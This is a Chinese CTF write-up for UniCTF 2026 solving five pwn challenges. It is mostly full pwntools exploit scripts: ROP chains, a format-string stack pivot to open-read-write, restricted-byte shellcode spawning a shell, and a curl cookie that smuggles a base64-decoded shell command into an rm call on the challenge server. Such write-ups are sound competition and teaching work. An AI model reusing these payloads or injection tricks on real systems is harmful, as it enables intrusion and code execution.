UniCTF 2026 WP

为期一周,中间夹杂着其他的事,做得蛮累的

什么?我不是汇编高手吗?

将输入指令以四字节为单位,用0xE9分割后执行

0xE9对应的汇编是短距离jmp,将后续四字节识别为偏移,然后跳转到rip + offset + 5的地址继续执行

精确计算的offset可以跳转到自定义四字节的开头,所以理论上可以任意不超过4字节汇编指令执行

没有PIE有后门函数,思路是将函数地址写入rax然后call rax,其中向rax写入地址需要拆成多步完成

def add(content):
    global payload
    payload += p32(0x1)
    payload += content

add(p32(0x406a9090))
add(p32(0x58909090))
add(p32(0x9010e0c1))
add(p32(0x12110566))
add(p32(0x9090d0ff))

执行时像这样:

► 0x7c778587d000    jmp    0x7c778587d006              <0x7c778587d006>
   ↓
  0x7c778587d006    nop
  0x7c778587d007    nop
  0x7c778587d008    push   0x40
  0x7c778587d00a    jmp    0x7c778587d010              <0x7c778587d010>
   ↓
  0x7c778587d010    nop
  0x7c778587d011    nop
  0x7c778587d012    nop
  0x7c778587d013    pop    rax      RAX => 0x40
  0x7c778587d014    jmp    0x7c778587d01a              <0x7c778587d01a>
   ↓
  0x7c778587d01a    shl    eax, 0x10
  0x7c778587d01d    nop
  0x7c778587d01e    jmp    0x7c778587d024              <0x7c778587d024>
   ↓
  0x7c778587d024    add    ax, 0x1211     AX => 0x1211 (0x0 + 0x1211)
  0x7c778587d028    jmp    0x7c778587d02e              <0x7c778587d02e>
   ↓
  0x7c778587d02e    call   rax                         <getshell+27>

Uni_check

一个go语言写的服务器,有两个功能,下载和检查

程序会在当前目录下存储cookie文件,可以自己指定内容(cookie文件名),检查功能会扫描文件内容是否合规,对于不合规的会执行删除,这里的逻辑是
delete_cmd = f"rm -f {self.base_dir}/{fname}"

删除指令是直接拼接的,于是通过;``&&一类的符号实现命令注入

还有go语言处理路径的问题,可以用../把文件写入上级目录

利用的思路是cat /flag到当前文件夹,然后下载下来的文件里就包含了flag,但是flag在根目录,有些字符如/是不能出现在文件名里的

最终的利用命令如下:
curl -v -b "session=../test.txt&&echo Y2F0IC9mbGFnID4gZmxhZ19vdXQ=|base64 -d|sh;.txt" http://nc1.ctfplus.cn:port

speak

沙箱环境的格式化字符串,前期比较正常一次泄露一次足够长的篡改,但是输出后直接用syscall退出,所以只好篡改printf的返回地址然后打orw

rop链是放在栈上的,需要利用一次栈迁移把返回地址改到rop链的开头,把返回地址放栈上,内容指向leave ret再改对应的rbp:

from pwn import *

context(arch="amd64", os="linux", log_level="debug", terminal=["tmux", "splitw", "-h"])

elf = ELF("./pwn")
libc = ELF("./libc.so.6")
#p = process("./pwn")
p = remote("nc1.ctfplus.cn" ,23124)
p.recvuntil(b"name:")

leak_payload = b"aaaabbbbccccddddeeeeffffgggghhhh%2$p %9$p %63$p?"
p.send(leak_payload)

output = p.recvuntil(b"?")
cleaned = output.replace(b"(nil)", b"0x0").strip(b"? \n")
parts = cleaned.split()

leaked_libc = int(parts[0], 16)
leaked_stack = int(parts[1], 16)
leaked_text = int(parts[2], 16)

printf_ret = leaked_stack - 0x6B8 + 0x5D8
buffer_addr = leaked_stack - 0xc8

libc_base = leaked_libc - 0x804643 + 0x660100 - libc.symbols["printf"]
leaked_main = leaked_text - 0x7d60 + 0x53dd  
libc.address = libc_base
elf_base = leaked_main - elf.symbols["main"]
elf.address = elf_base
printf_addr = leaked_main - 0x3dd + 0x4af
again_addr = leaked_main - 0x3dd + 0x496

rop_libc = ROP(libc)
pop_rdi = rop_libc.find_gadget(["pop rdi", "ret"]).address
pop_rsi = rop_libc.find_gadget(["pop rsi", "ret"]).address
pop_rbp = rop_libc.find_gadget(["pop rbp", "ret"]).address
pop_rdx_leave = rop_libc.find_gadget(["pop rdx", "leave", "ret"]).address

pop_rdx_g = pop_rdx_leave
pop_rdx_extra = 0x0 
rop_elf = ROP(elf)
leave_ret = rop_elf.find_gadget(["leave", "ret"]).address

open_addr = libc.symbols["open"]
read_addr = libc.symbols["read"]
write_addr = libc.symbols["write"]

bss_addr = elf.bss() + 0x800

rop_offset = 0x60
fake_rbp = buffer_addr + rop_offset - 0x10

writes = {printf_ret - 8: p16(fake_rbp & 0xFFFF), printf_ret: p16(leave_ret & 0xFFFF)}
fmt_payload = fmtstr_payload(6, writes, write_size="short", strategy="fast")
fmt_payload = fmt_payload.ljust(rop_offset, b"A")

stage1 = p64(bss_addr) #buffer_addr + 0x50
stage1 += p64(pop_rdi) + p64(buffer_addr + 0x100 - 0x28)
stage1 += p64(pop_rsi) + p64(0)
stage1 += p64(open_addr) + p64(pop_rdi) # 执行到open时,rdx为0,不用设置,返回值(文件描述符为3)
stage1 += p64(3) + p64(pop_rsi)
stage1 += p64(bss_addr) + p64(pop_rbp) + p64(buffer_addr + 0x100 - 0x40) + p64(pop_rdx_leave)
stage1 += p64(0x100) + p64(bss_addr + 0x110)
stage1 += p64(read_addr) + p64(printf_addr)
stage1 += b"./flag\x00"   #到0x100


payload = fmt_payload + stage1
if len(payload) > 0x100:
    raise ValueError("stage1 payload exceeds 0x100")

#gdb.attach(p)
p.send(payload)

log.success(f"buffer addr{hex(buffer_addr)}")
p.interactive()

格式化字符串还是一如既往地繁琐

smcode

任意输入执行,但是只能用斐波那契数列里的字节

光靠这些字节对应的指令肯定是无法getshell的,思路是借助al寄存器修改已写入的内容,动态构建出一些指令,最终来一个真正的任意读

GPT5.2给出了用于动态构建命令的神奇函数,由于是利用al完成所以如果拼出的指令对它有影响就会乱掉,好在本题只要触发read就好,可以手调

from pwn import *

context(arch="amd64", os="linux", log_level="debug", terminal=["tmux", "splitw", "-h"])

#p = process("./pwn")
p = remote("nc1.ctfplus.cn",42376)
p.recvuntil(b"Input your shellcode")

ALLOWED = {0x00, 0x01, 0x02, 0x03, 0x05, 0x08, 0x0D, 0x15, 0x22, 0x37, 0x59, 0x90, 0xE9}
ALLOWED_ADD = [0xE9, 0x90, 0x59, 0x37, 0x22, 0x15, 0x0D, 0x08, 0x05, 0x03, 0x02, 0x01]

READ_N = 0x59

def add_eax_imm8(v):
    assert v in ALLOWED
    return b"\x05" + bytes([v]) + b"\x00\x00\x00"


def reach_al(cur, target):
    diff = (target - cur) & 0xFF
    seq = []
    for v in ALLOWED_ADD:
        while diff >= v:
            seq.append(v)
            diff -= v
    out = b"".join(add_eax_imm8(x) for x in seq)
    return out, target


def patch_and_exec_base(base=0x90):
    assert base in ALLOWED
    return b"\x00\x05\x05\x00\x00\x00" + b"\xE9\x00\x00\x00\x00" + bytes([base])


def emit_exec_opcode(cur_al, opcode_byte, follow=b"", base=0x90, post_al=None):
    need_al = (opcode_byte - base) & 0xFF
    adj, cur_al = reach_al(cur_al, need_al)
    out = adj + patch_and_exec_base(base=base) + follow
    if post_al is not None:
        cur_al = post_al & 0xFF
    return out, cur_al


def emit_push_imm8(cur_al, imm8):
    out, cur_al = emit_exec_opcode(cur_al, 0x6A)
    out += bytes([imm8])
    return out, cur_al


def emit_pop(cur_al, reg_pop_opcode, post_al=None):
    return emit_exec_opcode(cur_al, reg_pop_opcode, post_al=post_al)


def pick_disp_at_least(min_len):
    cands = [0x00, 0x01, 0x02, 0x03, 0x05, 0x08, 0x0D, 0x15, 0x22, 0x37, 0x59, 0x90, 0xE9]
    for d in cands:
        if d >= min_len:
            return d
    return 0xE9


cur_al = 0
stage1 = b""

# rsi = rbx
chunk, cur_al = emit_exec_opcode(cur_al, 0x53)  # push rbx
stage1 += chunk
chunk, cur_al = emit_exec_opcode(cur_al, 0x5E)  # pop rsi
stage1 += chunk

# rdx = READ_N (push imm8 会符号扩展,所以 imm8 必须 < 0x80)
chunk, cur_al = emit_push_imm8(cur_al, READ_N)
stage1 += chunk
chunk, cur_al = emit_pop(cur_al, 0x5A)  # pop rdx
stage1 += chunk

# 设置 AL=2,用于把后面的 0D patch 成 0F
adj, cur_al = reach_al(cur_al, 0x02)
stage1 += adj

# 预计算:push 0; pop rax(pop rax 后 AL=0)
late = b""
late_chunk, _ = emit_push_imm8(cur_al, 0x00)
late += late_chunk
late_chunk, _ = emit_pop(cur_al, 0x80, post_al=0x00) # rax有异,0x80刚好可以拼成pop rax
late += late_chunk

# 选择一个允许的 disp,让 patch 指向 syscall 占位符的第一个字节
# patch 指令长度 6,目标 = patch_next_rip + disp
# 这里令 disp = padding + len(late)
disp = pick_disp_at_least(len(late))
padding = disp - len(late)

# add byte ptr [rip+disp], al  (disp32 = disp)
stage1 += b"\x00\x05" + p32(disp)

# padding(不改寄存器)
stage1 += b"\x90" * padding

# rax=0,然后紧接着执行被 patch 的 syscall(read)
stage1 += late

# syscall 占位符(会被上面的 patch 从 0d05 变成 0f05)
stage1 += b"\x0D\x05"

# syscall 返回后:RAX == 实际读到的字节数(我们确保等于 READ_N)
cur_al = READ_N

# ret:栈顶在进入 shellcode 时就是 rbx,所以 ret 会跳到 rbx(stage2)
chunk, cur_al = emit_exec_opcode(cur_al, 0xC3)
stage1 += chunk
#gdb.attach(p)
p.send(stage1)

p.recvuntil(b"[+]")

stage2 = b"\x90" * 0x20 + asm(shellcraft.sh())
if len(stage2) > READ_N:
    raise ValueError(f"stage2 too long: {len(stage2)} > {READ_N}")
stage2 = stage2.ljust(READ_N, b"\x90")

p.send(stage2)
p.interactive()

sur_prize

莫名奇妙的一道题,输入的第一个地址就覆盖了返回地址,导致无法设置rbp,栈迁移打不出来

虽然可以用pop rbp设置,但是输入函数居然是rsp寻址,而两个指令执行函数都是rbp寻址,这导致把rbp改到bss段之后没法往上任意写

发现直接跳转到0x401100处执行printf,恰好输出0字节,rax为0,然后跳转到一个借助rbp设置寄存器的syscall ret完成bss段任意写就好了

感觉printf这么用很莫名奇妙,这真是预期解吗

from pwn import *

context(arch="amd64", os="linux", log_level="debug", terminal=["tmux", "splitw", "-h"])

#p = process("./vuln")
p = remote("nc1.ctfplus.cn", 13092)
time.sleep(3)

bin_ls = 0x401657 
bin_cat = 0x004016A2 
bss_addr = 0x0404000 + 0x800
leave_ret = 0x00401399
gets_addr = 0x40174F
pop_rbp = 0x00040125d
printf = 0x00401100
sys1 = 0x00000040168e
sys = 0x000000401689
syscall = 0x0040169D 
add_rsp_ret = 0x000401016
printf_addr = 0x004015DE  
ret = 0x040101a
bin_sh = bss_addr + 0x68

p.send(b"a")
time.sleep(0.5)

# 栈迁移
payload = b""
#payload += p64(leave_ret)
payload += p64(pop_rbp)
payload += p64(bss_addr)
payload += p64(ret)
#payload += p64(bss_addr)
payload += p64(printf) #什么也不输出,然后把rax设置为0
#payload += p64(printf_addr) 
payload += p64(sys1)
payload += p64(sys)
payload += p64(pop_rbp)
payload += p64(bss_addr + 0x20)
payload += p64(sys)
p.sendline(payload)

# get shell,懒得定位最后会落到哪个bin_sh上遂多复制了几个
p2 = b"" 
p2 += p64(pop_rbp)
p2 += p64(bss_addr)
p2 += p64(sys)
p2 += p64(0)
p2 += p64(0)
p2 += p64(bin_sh)
p2 += p64(bin_sh)
p2 += p64(bin_sh)
p2 += p64(bin_sh)
p2 += p64(bin_sh)
p2 += p64(bin_sh)
p2 += p64(bin_sh)
p2 += p64(bin_sh)
p2 += p64(bin_sh)
p2 += p64(bin_sh)
p2 += p64(bin_sh)
p2 += p64(bin_sh)
p2 += b"/bin/sh\x00"
#gdb.attach(p)

time.sleep(0.5)
p.sendline(p2)

p.interactive()